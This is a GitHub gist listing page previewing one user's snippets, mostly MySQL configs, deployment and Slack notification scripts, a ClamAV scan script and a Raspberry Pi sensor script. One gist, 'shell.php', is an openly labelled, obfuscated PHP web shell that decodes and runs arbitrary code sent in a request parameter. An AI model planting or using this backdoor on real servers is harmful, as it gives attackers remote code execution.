Skip to content

Instantly share code, notes, and snippets.

View johnroyer's full-sized avatar

Zero Huang johnroyer

View GitHub Profile
@johnroyer
johnroyer / mysql.cnf
Last active July 30, 2019 13:46
MySQL 8.0 config
[mysqld]
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
datadir = /var/lib/mysql
log-error = /var/log/mysql/error.log
default-authentication-plugin = mysql_native_password
@johnroyer
johnroyer / scriptsafe-settings-2019-10
Last active November 11, 2019 05:14
ScriptSafe white list
webbugs|true
gamepad|false
syncnotify|true
fpWebGL|[]
useragentspoof|off
syncfromnotify|true
fpBattery|[]
frame|true
fpBluetooth|[]
uaspoofallow|false
@johnroyer
johnroyer / S20slack
Created July 12, 2019 05:28
init change notification
#! /bin/sh
### BEGIN INIT INFO
# Provides: slackcat
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: OpenBSD Secure Shell server
### END INIT INFO
@johnroyer
johnroyer / notify.sh
Last active July 12, 2019 06:18
slack notifier for AWS EC2 deployment
#!/usr/bin/env bash
ID=`curl http://169.254.169.254/latest/meta-data/instance-id`
EC2_NAME=`aws ec2 describe-instances --instance-ids $ID | jq .Reservations[0].Instances[0].Tags[].Value | paste -sd ' ' - | sed -e 's/\"/ /g'`
HASH=`git rev-parse HEAD`
SHORT_HASH=`echo $HASH | head -c 6`
COMMENT=`git log --format=%B -n 1 HEAD`
BB_URL_PREFIX="https://bitbucket.org/team/project/commits"
HOST=`hostname`
REPO=$(basename `git rev-parse --show-toplevel`)
@johnroyer
johnroyer / virus-scan-clamav.sh
Last active October 29, 2018 04:49
scan virus in whole system by clamav (clamscan) and save log by date
#!/usr/bin/env bash
DATE=`date '+%Y-%m-%d'`
LOG_PATH="/var/log/clamav"
# create log folder
mkdir -p $LOG_PATH
clamscan -i -r / 2>&1 | tee "$LOG_PATH/$DATE.log"
@johnroyer
johnroyer / shell.php
Created July 23, 2018 08:13
PHP web shell / backdoor
<?php
$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();
@johnroyer
johnroyer / percona-server-5.7.cnf
Created December 24, 2017 03:51
percona-server-5.7 config template
[client]
default-character-set = utf8mb4
[mysql]
[mysqld]
user = mysql
pid-file = /var/run/mysqld/mysqld.pid
@johnroyer
johnroyer / detect.py
Created December 12, 2017 07:09
RPi + PIR sensor scan + LED output
import RPi.GPIO as GPIO
import time
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BOARD)
# LED
GPIO.setup(3, GPIO.OUT)
# PIR sensor
@johnroyer
johnroyer / main.css
Created November 16, 2017 04:35
dark-theme for "Just Read" Chrome extension
@font-face {
font-family: 'Source Sans Pro Semibold';
src: url("chrome-extension://dgmanlpmmkibanfdgjocnabmcaclkmod/fonts/SourceSansPro-Semibold.ttf");
}
@font-face {
font-family: 'Source Sans Pro Bold';
src: url("chrome-extension://dgmanlpmmkibanfdgjocnabmcaclkmod/fonts/SourceSansPro-Bold.ttf");
}
@font-face {
font-family: 'Source Sans Pro Light';
@johnroyer
johnroyer / pure-config.php
Created September 15, 2017 05:52
env-config-comparison
<?php
$valid = [
'production' => '10.0.1.0/24',
'stage' => '10.0.1.0/24', // 和 production 重複
'dev' => '192.168.1.0/24',
];